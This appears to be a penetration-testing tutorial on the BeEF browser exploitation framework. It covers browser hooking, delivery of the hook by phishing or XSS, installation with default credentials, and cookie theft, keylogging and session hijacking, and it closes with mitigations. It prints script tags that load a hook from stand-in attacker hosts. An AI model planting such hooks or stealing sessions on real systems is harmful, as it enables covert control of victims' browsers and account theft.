BeEF (Browser Exploitation Framework) is a penetration testing tool

designed to exploit web browsers and assess the security posture of web
applications. It is particularly useful in testing the vulnerability of client-side
browsers to various attacks. BeEF helps security professionals in conducting
penetration tests by providing them with an environment to simulate and
understand browser-based vulnerabilities that could be exploited by malicious
actors.
Key Features of BeEF:
1. Browser Hooking: BeEF can "hook" a victim's browser, allowing
penetration testers to control it once the victim visits a web page
containing malicious JavaScript. The hooked browser can then be used for
further attacks.
2. Command Modules: BeEF offers numerous modules that allow testers to
execute various commands on the hooked browser, such as stealing
cookies, performing keylogging, taking screenshots, or running XSS
attacks.
3. Cross-Origin Attacks: It can launch attacks that exploit browser
vulnerabilities across different domains (Cross-Origin Resource Sharing,
CORS), allowing testers to analyze if attackers could bypass Same-Origin
Policy.
How BeEF Exploits Cross-Origin Vulnerabilities:
1. Same-Origin Policy (SOP):
o SOP is a key security feature that restricts web pages from
making requests to a different domain, protocol, or port
than the one the page originated from. This prevents
malicious scripts on one website from accessing sensitive
data from another website.
o BeEF assists in penetration testing by helping security
professionals identify and exploit weaknesses in SOP
enforcement, simulating how an attacker might bypass
this policy. This is critical for identifying issues in web
applications that inadvertently expose sensitive data
across domains.
2. Cross-Origin Resource Sharing (CORS):
o CORS is a security feature that allows servers to specify
which domains can access their resources, thus enabling
controlled cross-origin requests. However, improper
configuration or implementation of CORS policies can
leave web applications vulnerable to exploitation.
o BeEF can launch CORS-based attacks to see if cross-
origin access restrictions can be bypassed. This helps
testers determine whether a web application properly
implements CORS, preventing unauthorized access to
resources.
 4. Social Engineering Attacks: BeEF has built-in tools for conducting social
engineering attacks like phishing or tricking users into performing certain
actions that compromise their systems.
5. Real-time Attack Simulation: It can help simulate real-time attacks
where the focus is on the browser, showing how attackers can use a
browser as an entry point into a system or network.
How BeEF Assists in Penetration Testing:
 Testing Client-side Security: It focuses on testing the security of web
browsers and their components (e.g., plugins, extensions) against a
variety of attacks.
 Exploiting Browser Vulnerabilities: BeEF helps professionals discover
and understand browser vulnerabilities that could be exploited, such as
Cross-Site Scripting (XSS) or Cross-Site Request Forgery (CSRF).
 Awareness and Education: It enables security professionals to simulate
and demonstrate real-world attacks to clients or organizations, helping
raise awareness about the potential risks posed by browser-based
vulnerabilities.

BeEF (Browser Exploitation Framework) hooks a victim's browser by injecting a "hook

script" (a piece of malicious JavaScript) into a webpage. When a user visits a webpage that
contains this hook, their browser is "hooked," giving the attacker control over it through
BeEF.

Here's a step-by-step explanation of how BeEF hooks a browser:

1. Setting Up the BeEF Server

 First, the penetration tester sets up the BeEF server, which generates a hook script.
This is a small piece of JavaScript that will be used to "hook" the victim's browser.
 The BeEF control panel, accessed through a web interface, allows the tester to
monitor and interact with the hooked browsers.

2. Delivering the Hook Script

The hook script must be injected into a webpage that the target user visits. This can be done
in several ways:

 Compromised Website: If the tester has control over or has exploited a vulnerable
website, they can inject the hook script into the site's pages. When users visit the
compromised site, their browsers will automatically load the script.
 Social Engineering: The tester could trick the user into visiting a malicious webpage
or clicking on a specially crafted link sent through phishing emails, social media, etc.
The page will have the BeEF hook script embedded in it.
 XSS Attack: If the tester finds a Cross-Site Scripting (XSS) vulnerability in a
website, they can inject the BeEF hook script directly into the vulnerable website.
When users access the vulnerable page, the script runs in their browsers, hooking
them.
3. Hooking the Browser

Once the user visits the page containing the hook script, the JavaScript executes in their
browser. This script creates a persistent connection between the victim’s browser and the
BeEF server.

 The victim is usually unaware of this process, as the hook script runs silently in the
background without affecting the visible behavior of the web page.
 The hook works across all major browsers (Chrome, Firefox, Safari, etc.), though
modern browsers implement various security mechanisms that may limit or block
certain attacks.

4. Control via the BeEF Interface

Once the victim's browser is hooked, the tester gains control over it through the BeEF control
panel. From here, they can:

 Execute various attack modules (e.g., capturing cookies, taking screenshots, running
keyloggers).
 Perform social engineering attacks.
 Check the browser's security settings, plugins, and more.

The BeEF interface displays each hooked browser, and the tester can interact with them
individually or as a group.

5. Persistence and Session Hijacking

 If a session is established, BeEF can maintain persistence, meaning the attacker can
continue controlling the browser even as the victim navigates to other sites.
 The tester can also steal cookies, hijack sessions, or use the browser as a pivot point to
launch further attacks within the network.

Example of the Hook Script:

<script src="http://attacker-server:3000/hook.js"></script>

This script points to the BeEF server’s hook, and when the victim's browser loads this script,
it is hooked and ready for exploitation.

Mitigations:

To prevent browsers from being hooked:

 Enable Content Security Policy (CSP): This limits the ability of a webpage to load
unauthorized scripts.
 Keep Browsers Updated: Use modern browsers with the latest security patches.
 Avoid Visiting Suspicious Links: Be cautious of untrusted websites and suspicious
links.
  Use Security Plugins: Certain browser extensions can block tracking scripts,
malicious JavaScript, and unauthorized connections.

Installation:
 On Kali Linux (pre-installed): BeEF comes pre-installed on Kali Linux.
You can check its availability by running:
sudo beef-xss
Manual Installation (if needed):

On a Linux-based OS or macOS, you can clone and set up BeEF as follows:

git clone https://github.com/beefproject/beef
cd beef
./install
./beef
By default, the BeEF control panel is accessible at http://127.0.0.1:3000/ui/panel,
and the default credentials are:

Username: beef
Password: beef
BeEF’s Working Mechanism:

Hooking the Browser: BeEF works by injecting a JavaScript hook into the target
browser. The attacker sends a crafted URL containing this hook to the victim, and
once the target clicks the URL, the browser gets hooked into BeEF.

Example:
<script src="http://attacker.com/hook.js"></script>
Exploiting the Browser: After the victim's browser is hooked, you can execute
various payloads and exploits, such as:
Phishing attacks: Redirect the user to a fake login page.
Keylogging: Capture keystrokes in real-time.
Cookie theft: Steal session cookies to hijack accounts.

Command Modules: BeEF provides several command modules that are pre-
built attack mechanisms, including:
 Browser Fingerprinting: Extract detailed information about the target
browser.
Redirect Browser: Redirect the victim's browser to a malicious URL.
Steal Cookies: Extract session cookies and potentially hijack the session.
Alert Dialogs: Display pop-up alerts to trick users into providing sensitive
information.

Common Attack Example:

Step 1: Hook the victim’s browser by delivering a URL containing the hook
script.
Step 2: Once hooked, open the BeEF control panel and select the hooked
browser from the list.
Step 3: Choose from the list of available exploits, such as stealing cookies,
taking screenshots, or keylogging.

Example Command:

To steal a cookie from a hooked browser:

Navigate to the "Commands" tab in BeEF.

Search for the "Get Cookie" module and execute it.

Output: You can retrieve the cookies and potentially use them for session
hijacking.
Usage in Red-Teaming:

BeEF is frequently used in red teaming engagements where the goal is to test
the security of the organization's users via phishing, browser exploits, and social
engineering. It can reveal critical browser vulnerabilities and show how attackers
could leverage them.
Documentation:
https://github.com/beefproject/beef/wiki